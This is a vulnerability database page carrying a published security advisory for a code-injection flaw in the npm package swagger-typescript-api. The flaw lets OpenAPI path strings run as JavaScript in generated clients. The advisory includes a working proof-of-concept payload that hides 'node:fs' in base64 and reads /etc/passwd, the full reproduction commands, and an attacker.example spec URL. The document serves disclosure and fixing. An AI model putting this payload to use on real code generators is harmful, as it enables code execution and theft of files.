GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-W284-33MX-6G9V

Vulnerability from github – Published: 2026-07-29 14:35 – Updated: 2026-07-29 14:35
VLAI
Summary
swagger-typescript-api vulnerable to code injection via unescaped OpenAPI path strings in generated method bodies
Details

Summary

swagger-typescript-api interpolates OpenAPI path strings (the keys of the paths object, e.g. /users/{id}) directly into a JavaScript template literal inside the body of every generated API method, without escaping. A spec path containing ${ … } survives parseRouteName's {x} / :x rewriter verbatim and lands as live JS-template-literal interpolation inside the generated path: \...`` line. Any consumer who calls the affected generated method evaluates the attacker's expression with full importer privileges — file read/write, exfiltration, etc. The attacker controls the OpenAPI spec (remote URL, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and uses the resulting client.

Details

parseRouteName (src/schema-routes/schema-routes.ts:147-189) preprocesses spec paths by rewriting {x} and :x path-parameter patterns into ${x} JS template-literal interpolations:

const pathParamMatches = (routeName || "").match(
  /({[\w[\\\]^`][-_.\w]*})|(:[\w[\\\]^`][-_.\w]*:?)/g,
);
// ...
return fixedRoute.replace(pathParam.$match, `\${${insertion}}`);

The regex only matches { followed by word characters (and a closing }), or : followed by word characters. It does not strip backticks, ${, or backslashes. A spec path containing ${ ATTACKER_EXPRESSION } survives unchanged.

The resulting fixedRoute is passed to the procedure-call template at templates/default/procedure-call.ejs:96 (and the corresponding templates/modular/procedure-call.ejs:96):

path: `<%~ path %>`,

The <%~ %> is Eta's raw, unescaped interpolation. The surrounding backticks make this a JavaScript template literal in the generated source. Anything resembling ${…} inside the path becomes a live JS expression evaluated when the method's path template is evaluated — i.e. at every call to the affected method.

Generated method body for a malicious spec path:

evilCall: (params: RequestParams = {}) =>
  this.request<void, any>({
    path: `/api/${(async () => {
      // ATTACKER CODE EVALUATED HERE on every call to api.<...>.evilCall()
      // — full Node.js capabilities: dynamic import('node:fs'), child_process,
      //   network egress, environment access, etc.
    })()}/items`,
    method: "GET",
    ...params,
  }),

Biome (the codebase's formatter) pretty-prints this multi-line, confirming the output parses as valid TypeScript. esbuild bundles it cleanly.

Caveat for PoC construction: the path-param regex matches :x, so a literal : followed by a word character inside the spec path gets mangled into ${x}. This affects payloads that need to express node:fs. The workaround used in the PoC is Buffer.from('bm9kZTpmcw==','base64').toString() — base64 contains no :, decodes to 'node:fs' at runtime, and dodges the rewrite entirely.

PoC

Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → call method with stubbed this.request so there is no real network egress → check canary) is added in comments. Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Malicious OpenAPI path (literal string, JSON-encoded in the spec below):

/api/${(async()=>{ try { const m=Buffer.from('bm9kZTpmcw==','base64').toString(); const f=await import(m); const d=f.readFileSync('/etc/passwd','utf8'); f.writeFileSync('/tmp/sta_canary',d); } catch(e){} return 'x'; })()}/items

Minimal payload spec:

{
  "openapi": "3.0.0",
  "info": { "title": "PathPayloadAPI", "version": "1.0.0" },
  "servers": [{ "url": "https://api.example.com" }],
  "paths": {
    "/api/${(async()=>{try{const m=Buffer.from('bm9kZTpmcw==','base64').toString();const f=await import(m);const d=f.readFileSync('/etc/passwd','utf8');f.writeFileSync('/tmp/sta_canary',d);}catch(e){}return 'x';})()}/items": {
      "get": {
        "operationId": "evilCall",
        "responses": { "200": { "description": "OK" } }
      }
    }
  }
}

Steps:

npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  name: 'Api.ts', output: process.cwd() + '/out',
  input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
  --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "
  const mod = await import('./out/Api.bundle.mjs');
  const api = new mod.Api();
  // Stub the request implementation so there is no real network call —
  // only the path template literal is evaluated, which is what fires the IIFE.
  api.request = async () => ({ ok: true });
  const group = api.api;
  await group[Object.keys(group)[0]]();
  await new Promise(r => setTimeout(r, 300));
"
ls -la /tmp/sta_canary && cat /tmp/sta_canary

Generated out/Api.ts (method body — payload, Biome-formatted):

evilCall: (params: RequestParams = {}) =>
  this.request<void, any>({
    path: `/api/${(async () => {
      try {
        const m = Buffer.from("bm9kZTpmcw==", "base64").toString();
        const f = await import(m);
        const d = f.readFileSync("/etc/passwd", "utf8");
        f.writeFileSync("/tmp/sta_canary", d);
      } catch (e) {}
      return "x";
    })()}/items`,
    method: "GET",
    ...params,
  }),

The IIFE is a real JavaScript expression inside the path template literal — Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed.

Result: after instantiating the generated Api and calling the affected method, /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (path "/api/users/{id}/items") generates path: \/api/users/${id}/items``, the IIFE never appears, and the canary is not written.

Impact

Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).

Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely:

  • sta generate --url https://attacker.example/openapi.json — a public, third-party, or attacker-hosted spec.
  • A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.
  • A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
  • Any project where a contributor can modify the pinned spec via pull request.

Lifecycle: the injected expression fires per method call — every time a consumer invokes the affected generated method, the path template literal is evaluated and the IIFE runs. Lower severity than module-load sinks because the consumer must actually use the affected method, but this is the entire purpose of a generated API client; any non-trivial use of the client triggers it. Affects both httpClientType: "fetch" (default) and httpClientType: "axios", both default/ and modular/ template sets — any path-bearing operation in the spec is a candidate.

Privilege: the IIFE runs with the full privileges of the calling process — file read/write, network egress, environment access, child-process spawn, etc.

Suggested fix: sanitize the path string after parseRouteName finishes its {x} / :x rewrites but before it is interpolated into the template literal. The path should only contain literal URL characters plus the ${name} interpolations that parseRouteName deliberately introduces — any backtick, ${, or \ outside those deliberate interpolations should be escaped or rejected. Alternatively, change templates/default/procedure-call.ejs:96 (and templates/modular/procedure-call.ejs:96) to stop wrapping path in a backtick literal: emit a string concatenation instead, where path-param substitution is explicit and the rest of the path is treated as inert string data.

Submitted by: Hamza Haroon (thegr1ffyn)

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 13.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "swagger-typescript-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54666"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-74",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T14:35:02Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`swagger-typescript-api` interpolates OpenAPI path strings (the keys of the `paths` object, e.g. `/users/{id}`) directly into a JavaScript template literal inside the body of every generated API method, without escaping. A spec path containing `${ \u2026 }` survives `parseRouteName`\u0027s `{x}` / `:x` rewriter verbatim and lands as live JS-template-literal interpolation inside the generated `path: \\`...\\`` line. Any consumer who calls the affected generated method evaluates the attacker\u0027s expression with full importer privileges \u2014 file read/write, exfiltration, etc. The attacker controls the OpenAPI spec (remote URL, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and uses the resulting client.\n\n### Details\n\n`parseRouteName` (`src/schema-routes/schema-routes.ts:147-189`) preprocesses spec paths by rewriting `{x}` and `:x` path-parameter patterns into `${x}` JS template-literal interpolations:\n\n```ts\nconst pathParamMatches = (routeName || \"\").match(\n  /({[\\w[\\\\\\]^`][-_.\\w]*})|(:[\\w[\\\\\\]^`][-_.\\w]*:?)/g,\n);\n// ...\nreturn fixedRoute.replace(pathParam.$match, `\\${${insertion}}`);\n```\n\nThe regex only matches `{` followed by word characters (and a closing `}`), or `:` followed by word characters. **It does not strip backticks, `${`, or backslashes.** A spec path containing `${ ATTACKER_EXPRESSION }` survives unchanged.\n\nThe resulting `fixedRoute` is passed to the procedure-call template at `templates/default/procedure-call.ejs:96` (and the corresponding `templates/modular/procedure-call.ejs:96`):\n\n```ejs\npath: `\u003c%~ path %\u003e`,\n```\n\nThe `\u003c%~ %\u003e` is Eta\u0027s raw, unescaped interpolation. The surrounding backticks make this a JavaScript template literal in the generated source. Anything resembling `${\u2026}` inside the path becomes a live JS expression evaluated when the method\u0027s `path` template is evaluated \u2014 i.e. at every call to the affected method.\n\nGenerated method body for a malicious spec path:\n\n```ts\nevilCall: (params: RequestParams = {}) =\u003e\n  this.request\u003cvoid, any\u003e({\n    path: `/api/${(async () =\u003e {\n      // ATTACKER CODE EVALUATED HERE on every call to api.\u003c...\u003e.evilCall()\n      // \u2014 full Node.js capabilities: dynamic import(\u0027node:fs\u0027), child_process,\n      //   network egress, environment access, etc.\n    })()}/items`,\n    method: \"GET\",\n    ...params,\n  }),\n```\n\nBiome (the codebase\u0027s formatter) pretty-prints this multi-line, confirming the output parses as valid TypeScript. esbuild bundles it cleanly.\n\n**Caveat for PoC construction:** the path-param regex matches `:x`, so a literal `:` followed by a word character inside the spec path gets mangled into `${x}`. This affects payloads that need to express `node:fs`. The workaround used in the PoC is `Buffer.from(\u0027bm9kZTpmcw==\u0027,\u0027base64\u0027).toString()` \u2014 base64 contains no `:`, decodes to `\u0027node:fs\u0027` at runtime, and dodges the rewrite entirely.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package \u2192 generate from control + payload \u2192 bundle with esbuild \u2192 instantiate \u2192 call method with stubbed `this.request` so there is no real network egress \u2192 check canary) is added in comments. Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious OpenAPI path** (literal string, JSON-encoded in the spec below):\n\n```\n/api/${(async()=\u003e{ try { const m=Buffer.from(\u0027bm9kZTpmcw==\u0027,\u0027base64\u0027).toString(); const f=await import(m); const d=f.readFileSync(\u0027/etc/passwd\u0027,\u0027utf8\u0027); f.writeFileSync(\u0027/tmp/sta_canary\u0027,d); } catch(e){} return \u0027x\u0027; })()}/items\n```\n\n**Minimal payload spec:**\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"PathPayloadAPI\", \"version\": \"1.0.0\" },\n  \"servers\": [{ \"url\": \"https://api.example.com\" }],\n  \"paths\": {\n    \"/api/${(async()=\u003e{try{const m=Buffer.from(\u0027bm9kZTpmcw==\u0027,\u0027base64\u0027).toString();const f=await import(m);const d=f.readFileSync(\u0027/etc/passwd\u0027,\u0027utf8\u0027);f.writeFileSync(\u0027/tmp/sta_canary\u0027,d);}catch(e){}return \u0027x\u0027;})()}/items\": {\n      \"get\": {\n        \"operationId\": \"evilCall\",\n        \"responses\": { \"200\": { \"description\": \"OK\" } }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n  name: \u0027Api.ts\u0027, output: process.cwd() + \u0027/out\u0027,\n  input: process.cwd() + \u0027/payload-spec.json\u0027, httpClientType: \u0027fetch\u0027\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n  --tsconfig-raw=\u0027{}\u0027 --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"\n  const mod = await import(\u0027./out/Api.bundle.mjs\u0027);\n  const api = new mod.Api();\n  // Stub the request implementation so there is no real network call \u2014\n  // only the path template literal is evaluated, which is what fires the IIFE.\n  api.request = async () =\u003e ({ ok: true });\n  const group = api.api;\n  await group[Object.keys(group)[0]]();\n  await new Promise(r =\u003e setTimeout(r, 300));\n\"\nls -la /tmp/sta_canary \u0026\u0026 cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (method body \u2014 payload, Biome-formatted):**\n\n```ts\nevilCall: (params: RequestParams = {}) =\u003e\n  this.request\u003cvoid, any\u003e({\n    path: `/api/${(async () =\u003e {\n      try {\n        const m = Buffer.from(\"bm9kZTpmcw==\", \"base64\").toString();\n        const f = await import(m);\n        const d = f.readFileSync(\"/etc/passwd\", \"utf8\");\n        f.writeFileSync(\"/tmp/sta_canary\", d);\n      } catch (e) {}\n      return \"x\";\n    })()}/items`,\n    method: \"GET\",\n    ...params,\n  }),\n```\n\nThe IIFE is a real JavaScript expression inside the `path` template literal \u2014 Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed.\n\n**Result:** after instantiating the generated `Api` and calling the affected method, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (path `\"/api/users/{id}/items\"`) generates `path: \\`/api/users/${id}/items\\``, the IIFE never appears, and the canary is not written.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely:\n\n- `sta generate --url https://attacker.example/openapi.json` \u2014 a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project where a contributor can modify the pinned spec via pull request.\n\n**Lifecycle:** the injected expression fires **per method call** \u2014 every time a consumer invokes the affected generated method, the path template literal is evaluated and the IIFE runs. Lower severity than module-load sinks because the consumer must actually use the affected method, but this is the entire purpose of a generated API client; any non-trivial use of the client triggers it. Affects both `httpClientType: \"fetch\"` (default) and `httpClientType: \"axios\"`, both `default/` and `modular/` template sets \u2014 any path-bearing operation in the spec is a candidate.\n\n**Privilege:** the IIFE runs with the full privileges of the calling process \u2014 file read/write, network egress, environment access, child-process spawn, etc.\n\n**Suggested fix:** sanitize the path string after `parseRouteName` finishes its `{x}` / `:x` rewrites but before it is interpolated into the template literal. The path should only contain literal URL characters plus the `${name}` interpolations that `parseRouteName` deliberately introduces \u2014 any backtick, `${`, or `\\` outside those deliberate interpolations should be escaped or rejected. Alternatively, change `templates/default/procedure-call.ejs:96` (and `templates/modular/procedure-call.ejs:96`) to stop wrapping `path` in a backtick literal: emit a string concatenation instead, where path-param substitution is explicit and the rest of the path is treated as inert string data.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-w284-33mx-6g9v",
  "modified": "2026-07-29T14:35:02Z",
  "published": "2026-07-29T14:35:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-w284-33mx-6g9v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/acacode/swagger-typescript-api"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "swagger-typescript-api vulnerable to code injection via unescaped OpenAPI path strings in generated method bodies"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…